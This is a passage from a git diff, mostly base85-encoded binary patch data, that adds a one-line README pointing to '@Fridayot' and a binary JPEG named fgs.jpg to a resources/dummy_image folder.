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 diff --git a/resources/dummy_image/README.md b/resources/dummy_image/README.md new file mode 100644 index 00000000..1530535f --- /dev/null +++ b/resources/dummy_image/README.md @@ -0,0 +1 @@ +# Go to @Fridayot diff --git a/resources/dummy_image/fgs.jpg b/resources/dummy_image/fgs.jpg new file mode 100644 index 0000000000000000000000000000000000000000..69200f8372f694f059c15f8796b2be684910c508 GIT binary patch literal 39116 zcmeFZ2T)YOwcRB%_ETLlTCZMi>}iNRpAL zM9IPoIZ1{gN)nLp;s3qexBKne+S;mpwcq>d-*xY;uG_c!p7ZN-PWL^hZ(odEOac@E zS4c?y9{-xIUc34?T_+{IdhN#b8#n%*H_2|1-MmSD^TrMG+vMc8C@#|tGD@o36qJAS ze;fH*{co+ygW~3mn}479-%A%?0e5ebe7y#^O2Q7fa+l=lU6PA704sn5Kyr5mZ``_h{T2Xlm6YVlWjW2wyVUfwbPqX%MfFhe zWbBGC-9b)~=L%3uYmc{LI#zCPFz&Hg6|MLkhI@=arI5IUGQz?mPp|CCZ!JSyk}qGC z@9~ODDcj^!wa@+9y?hnRB@I`u{&$pIy>^B4`VEqsm!-;gFX_B`a^pFajzd&I$I|UhY?f8o4t-qqAOokEqC4u_+)X8AkC2vM7ZU)A ztCugid-X0r9`NVrUpXEDkW~Ix=Kt?!?t2eB`+rjblj*zdwt5SMGe;p8DANsH-T-rX ztNtX25#u~imGF>gT@^NmBu@7W01Y&g>%NNKnT$Vw@Xt{+pQK#uB$aTOP&RBrs~{8VhKUAee`4w=S9<*q{zyXo-Mh=j#rBUpqI^9zyzD#o zyU82%*UXfR^Ru04mPd^t>c4GmGNi~IokD3qViy1rfOYL7=!DE3VKTT6fBrcO7@z%l zuaK^Ej|DD%=X!mu+h)Yuj@zv(rfWVjJ2{@|ZY{1c0R%EkYlj#Ndx_}|v6swltLqp$v< zmf!wGX_@KEiYS<98MNw9^%-L(z_>ggqoXQ(4F#1S z_*nOZj)^>yh35pFnD$|}ASFmak#>_H(CJ2JR`rscX=3g#XQkHFkmCoE)wS^h< z3_dvH-i~P=^Lw#e0J0v$tZ=Sj62WTnON@AAqqAAhTwh!T76J>=&X;q_Ipy=B4dn*a z2b9V&9pXoFWX?Sfllxc#;<~5y3H*i;`aaXD)UF?fQdH9;F93*~lM6t&tc8#J0M|jG zIB+d}rp(ady^t1SzHUza0?-{#tf2j))h;Seaf0E~$)0#BeC!L+p1-XDz8@{ip|zvl zoe+28JJNiEBX8~$^T>Ty_GWINFZ&bXVvgpc+kLjPKIk@cRhEZ9`S+=*b2Pu7XWT5k zO}}kikykRbF94&Dy)l--}Z*Z0gZLxtW!3 zLw7eEN54yIeMXte$K4P})A$3NxhdDCq6emP6p2;lc8kyEgGdL8JO@7H7Fu6>kg&F7 z(7xePn<%`!$}3KHh8neG$e4ky&EeXlnJ|3U`L>>^;k^m*o=T2YN1+z$6vm?h5=5zr`E; z2^??f+JvcAaO4@QS8Q(V1m$ncr8lC37iQv4`9GfZ4e#E&rE_HCJE^9}n4fNvpZW6F z!AqVY(e4aG#XB>`W7e8>`d!fqUIOn}b`oT{Z-C?~4sG3i&u$d$944TOM>Em0c7g%t z+wEOM#zf0kFS&DY#8n=dq@T!O!11{1ZmhNb-Tc&~zRc|S16dBDRs51A@pwReIs@~} zOahU?@AyjdX$V@uHiNMap7)hTM{N(uhn7mt8&5J0yGAthNm`!mE<1HFhxd4G7;SGH zN^Qr20>NcW!B~v|`AyE9fl=0CC8}Kk6?NUV@Vw&&qkETginvLQX1)XX8)Wn*%aa_~ zI=%|V4y1HjxoMHB^zo7dgLRn&HfRhpb$;X<)@(0sl%|Br0jQeb)ZgH_OK5n2dJdRv*8S1>; zJ&`-Th&-+dkMq<(w$Ej)!!No@zMp~f%;#7(+4;G@F9jx?92#V>QnCURKhX<10RT^u zm~*jCY2G-Ev^>~So?J=kUhjB`h`!xuVLMlJ&f1zE9v?px+5?R>DaSS>$eUxdBtHEQ13gz%DFva`H#s6a`!uW`fDfcqTFDmxs!RX zw5xXjc&CCaf-Mz^NgFyo+X0KU1^6De3p&5YqWqrs>lh6jxqs*+k)LpYf$0 z>L`_{lI3v*vVBV%C_IK}%?njE&@_}!syAGI3^aB9fWim+r~a8Kx%k(((>V(w1XXV=4<3IR=b zY4MRZ5R1_tih(Tq?l4GgarjsUtf0w3+Z*E-$XIj?(g8^-%Vn0yMSpNo-J}h9howw= z`FS=eHt74t+4_!w&9a5fnPj6wnVpsM)jLf2Rn%4L#au~-7>4jKJr{syeJak{d$5OK zd0$E6xyBOWT8lwKAz~4O&E5q%Ys2Pryka4uMIcC9&&ikX8GjU=AILY!lQ=Mt4|PW= z2xnmS54^xMF+#su2hQ@QishKy>dhbh**IH0j!EH$WywbOQNAY8EvF#giK1?r@mySH z+k-1WjMgcBh1bPGO?*d8r3m<5)X@u@H+HIl9lF))C*z{GzW$ql@C6YWc=It7+xdiF~=8$K4f3A;{pz>rnoVYjGUgS3Mtc!lx*ti}VOr zHJIQ@4Ol6ZE7273z*IdJeaQCl!;E$#$!KR@+;nw_L(8i2<0NNVG_Q0{YBlHHiRifW}k^saFB>ImTfR7uft z-#}SVIf(0j5Jw>$^~;M5?Z_jlP+*qzcR*#x{1N(nkV98?oZs`+?%iojIXpxEW2#`j zyJ{-v5%pqE*s>$U6kYk=kIPrVF_n2|o&G$Vkg2nFYk=LJo844AJx5L&Iw})BK-IRN zS^9WK)=>^E*oBslj~T3^zkPzf)`@i(UXo!r+E`i7Yv+|IzUQpbD5g}XhsGkkm>pVQ z#UDJ}<&_T4JG(T0BrO4Gi6wPsvMn6g3MmSni|`bcC5LmxA-QK%WakF8 z#nSM~j(tB4gFd_`R`-v?9+Cw?MdRSQGu!3Sx%WrhX>nnB$bFmOujF;yEPFap;op8x zmMzCGX-)SaTdbXfJ+-ci79yZ5e_Pg~%~4KeLm;cv#$fx=576+p4sx9wGmym%O@T)o zNyI%`*l$-(1dIIzAmPnHVbJGP-%(MoAzv!})bORHk5m+8TqnD>){d#NZnzR&s%mcU zaiOlvticxMg4Kh-yMG`R^2+|qc#)EysjE$q$fMIg>vm(lrHn6)%si?t0QG@foicow z`9oU$V&a6moB#5!5Yzxwc-fk~<&D#bUl#!U8abk#D1Z z=c0{CNQ=OzI&B z?|R+yqo6`%HV}utPWk0mhP9?@Q=8Qse~{^s1i$lBH9is0<(J@}Ag@|)6;vU-{L)ap zGu+RcasjxlEbpVf&2iQ=vzjws1)TRSMwh<`iSuhC%;k6)_ZA;Zc;c|Nwf4@Ap4G%< zQGFhG?4KYHnK7cDup^v3SRokI$XILit>y8j%amxbsx{*m7CK)*N-NNnn-F2S z8euWQ)=4>NRUk5QU*QM1*vE_lE}Yj?OVG=m7-IdX?)Ym|=>Blq&$m4OK5lP*>E0Q3A$T#$Sv3dB zzdUYroNMA3tAy`)var9i%AEO>daE@91f&Uxb8g)`27T-p*GXW)igW&&c( z)s?}Y;e5PMtND3o!!Im87b->213`Nx!?4XFZ zHWNZmu6~VHFXUr%ty3V@ykWr5%-Y&=@#pM2?Cf4<-S)|8<46$8ap7W|k6n2{&5xg! z&dhZg{@RSg4ldMzkbtC{h&q~ekP*dT$Fa1AK{8CAv1=oN!ny5t#HtX(aaXR~r<3y5 zv1P;kqce*krGey0L`Hih*N1?8l*qGxQwLJtXIJ8FMz5OIKbe?q(jG6?UIRJ=g%#lq zE&!3^RPx;29C4a5ZrO2?+Xt0=`ce1%6+P0s+bSjsj#r_~d2Gvl(p`J0cQ_HaKgXcxmS~Sm`5DMqKF~YR;V|8W}oSZxly6E->my8?9m(xe_(D6QXgG zApQ?FjqvIDV1=%43h&qlu|K#c;O%Mhwd!KM9nE4Y&dG{K7P~>fT`xygiHe*d_wj)* z(WPIY83HXI9=0&3OBS#{4YVZR5aNxhLEigF9Bp%y&8P<%wJ~SOYB;d$=siqHPOIhR z%DDjS1mw&iODA66z*zqj5C4ya`>fSUIK+Utn#hyetsd#fCaq$~*q}X4Lgi zKf~sCXMu_N1)vo2RK8EWKshNmhAwN3EvNeKPg|;y#d1p<0XKanzOHQj)2Qrhj{#0E zemM(F924dw@OsUnR|_to9x?q&?>QZFRS9?+!)O<)v?sFXO+bkz`luqn7C0{NAG1;PszWq?h#o9lbJqM;2a}gQ^39 zAy(IxdhGFANYhPtq!A&F_dDj5z@i>d{^hdOrNfu+{rFeU)itYPtL^Xs=V|5*W}V!Y zwM3f=uzO_1?oWuefg6??9u7)Gtv)V0avej zv?AwcvQvH2nR{VY5EVP5Uqjz(`MZ%3>eVT_ql`kb`3oVnY3C3f`5WeP5gRMwPyS7e z|6_C4nzPrXT7F{7r9Qd#Nmg0~=8E5g*^5nJ{GPt2QzA;O=O(9nap8P}8=k^>U*_nq zy;+i%(_ywO@A*9#!?(SS`wU3=2q4La1IYcV?lF(F=ghM<%_o_@=+4#jqNuq&3K0fs z?OOqn>c)YL_}qZ86Ci8x_4EjFo*LUeoUcPR($^uEdlfFiOhYn!7x})~1QuDSHQqJc z5^%5*DlKdD%AnNERAezJv>sNdptw7m?WUk%E5Ja>(kZOWu^UJ6`QO3kdhrVYQ`K$b zuK?I^e*%E^2Os>ud5WBh5qnU%TKt$61XlZQi2(&FCdiTI-F7L=Hv@Z|cJ;j`DJ}J> z!h*^V4YX{ByHdEm$P*m}W;p0Cw;;%*dCkp>W;eQ+>geu35LeDOTsX%OJ8~6YHVM-TG^zlR0rUZf&WM#^$l)V9~mb#a47%!n)LmZPPV?riUEm_(n)OU1*$ zkRKoGuF|MyJ=B6KXC-6a1xe#OMU4{wZKM}iD~07(fjrM1y8heE|CG7gHZnVWS2BGD zu6+9cF8wh)0OQv5_~lfP1FOqw@w+X-dZYoqOxbg?MI}xx8^@Ektl-mXgx6bCJ!BJa zz%f0W_>D!0Bj~0Q)C)$;>b5kB`zs50r6YKyeZ#r?y6B_}R)}YxYUif;z8p_e6|9(> z2NbOI97AD6MA-<2{IroE8R)NDSMIhkQFQC^Y!y@xCi8yLMYp((#P1x_hJ+7r@5~+C zEf(Uh@U7H#34a>5B4ASLElI`X8NeKByZqAe>~>^huu+dpQt~wa#-sLA3DCazVE$us z-TYhN^y64W4jl*-Tpz>TogL~GasfD_ExrK!zVxnbs#?0-v|8vBms73N1M^FB8ruI`Ev3kmxwh^`7Dr++M+Q_9^>|)_OsV>atgyuBhANR#H^=%%Y z;1`gQg#LS`iEvr_296OKTwXHTXR^Ng&ofRs)CcOB1nGq!u3BDGmEFgCd|F4+kPE=! z`(OLv=P6hR#+-&axhbDukWMTUE@`@D<{jsbTheu?4sTw{FOHOvyQQ?1`3+AX*M;ZH zz&JTCUB?e_XaShD7xO^}1r@8SBrN|-^&|X|>9a|UKat}Nsf~J#bctH9m>bQNqhcPx zk;{P$7{db|$@G^F*>bOm2KAEt$@H6i0BQ{fK6Yz!QgA;B@K)Chs=l24t8^h6c#Gy| zP17H0RY{FXr7raQ$yD~XXCd#UM8!`%YMmS(ZnqoR3dNOdN!Uxwr>4b^tNvW$!dghA z-LFzY5$F1rmPsV32A&c*z%;P+v0J&>)#MTa-`tIXj&2%zD#LlGrdL|7sL;uQo02+G z>GydDD3b^JRTuZuDK$2`-g_CtlcR#H8s8$pg?y4qMI|02=P2~HfLk1E zZk&=CNtOKq`$qe(wo=N+OjsD5h?{w5@U21@97^fpLG_hGy-uS-LdMY?rD>3KRQ!an z^*vr6pi&-zZ%778o(pQ^ZN7mL5q6!^syz2)2*66ZX|->1f2JQVQkQ2KVbNpcr#=Iq)iL41m5SqhfO7NS0#0=0eMH9-|XMptA3U)hA(O8QCm;lC~7d4 zbnunH0jsFdqFj7Xyt-D`!_^}VIPXC|);K6i)))DxCL&slr`2l(XRcRC>`^IvRiG7| z;>!08>_s}BpPiCn3R^zuM;DQOy;<;SX(P(|&NjI$^PLjuVagv zfOVt3 z@Jiv4F>$u7S0N%@y{M+f5#Ee@z9BMWv&=IMLOlvU=PTeG~M!a*PLSZXrb^tWZ`#n+s12*U}d#Ell<55%?N`_XndlwP$v?g{F8p zY=As@MoBv{^~+5kx!x?RAASlTR(M7z$t~SoK?}6I> zkjJ_~m!TRq4h=CT{W&5lNVvy))awcTNol2N1~0+M*j=Pisn6A_L=83eHLdoC*Y3bX zq{8<+b}s<-9XLb+*(xYxEGujWhFEOHfe?Ql*;aO`y@`_2LghdJ}ufFq+7WSB|v08ipUHP=G*nZUY{o1Ed z;kx{&K98X_J-&n=)n@FK(`{1iG>9A`54t-$V8);jR;axeHwKh_==rt%gjM0ViC28O zY2rOb0VkyJns}pyY*If z;&K+}$5UK#{o|UrK&(!1eeZ$IcDzPJj$v6Rm0%N!|PFI95%8s_3 z6@XOqKt@RRDc|V1xM`>8njBE2Vb>%(_bwMLiI}{U&Yz}pvL9j}{B|x^YEoU#&)V2= z?kC#LC>M~YmvDpC)Fm~`!L5T-9L5vUl6^9`f=^8DjL z%g&QbmjZgh-ASaX&a!ah$@MPtS5MZBfzZOG%`hYk7st)^-IRMMUF~gH4eQ#=`P}%7 zdPpa+)vuMXR^$2G`ooK z4bri=@UDB1)SR_~l2`X_&FzeC^0FC{Vl~y^tb-v4p$L7Agf&$#`AcpkM+QptbD#*J zJ1)>Dd+)_Tpm#LLIOh$>F5A=3kJ5TYcI8b+ohg5Q;jJQzBaiTd zrAt?wGQ9^fybt3UW?1IL1t&JQ_}=NA<@#~MwH<*{pVoS~wpj9K7?HdqDt8fiMr(Aa z!93Erp)!fve5qpAa+DPqD=v23f*QK^Z^S6R;db-q=arYC9<}p!sitB`>lGX4%nuT| zw{S~k$ltkE=OtFdHHZzai~_SN7F_ZD#7qm#HawBgyDmy|3NDJDkQ^PUa}^oQudSu7 zr}ct>)QLk9Kc_6&jFR>Mv#d~UiD_mPxA2ipUskeG=)Spbo(mt41UMED8qw)i(RS|N&eF4R@C*fx3J!J4%75f6n z=|%06NwN(Mv+@(#q|xbbkm{qJq0g~xu_M{R4&O;5L%zHYuaPCM$)^8kXxsh9XPT}D zahhMCUi73E4%bZxN%0M@MPz4K^rRfwPyoyMCSKMy2_kck11HPzTdMJVSB>eQ8Xn#P zlb6$HJ*7sDXg96if#H10f#^CV%@BsbH<~($xf+hd+6-#tpG~Is+9B$N)&pm%x|0uN z{qL^(6xy%0>VIKG zOixpx%GOpTR@IJDUDC?=xOYrd=u+%fzh=A`+>xuDUu|K&G}BG}E3U^O@Bw}M*|(e* z0MQ{V8YA&982>x^{6E}s1_+q-qzM|)Zp?Do+&1HKkx_2Q)Nvtf`4oIB@M2!{nHHDK30{E``%yyp=#!1mvc}+B+trLEDiBKNZOf3?OkaE 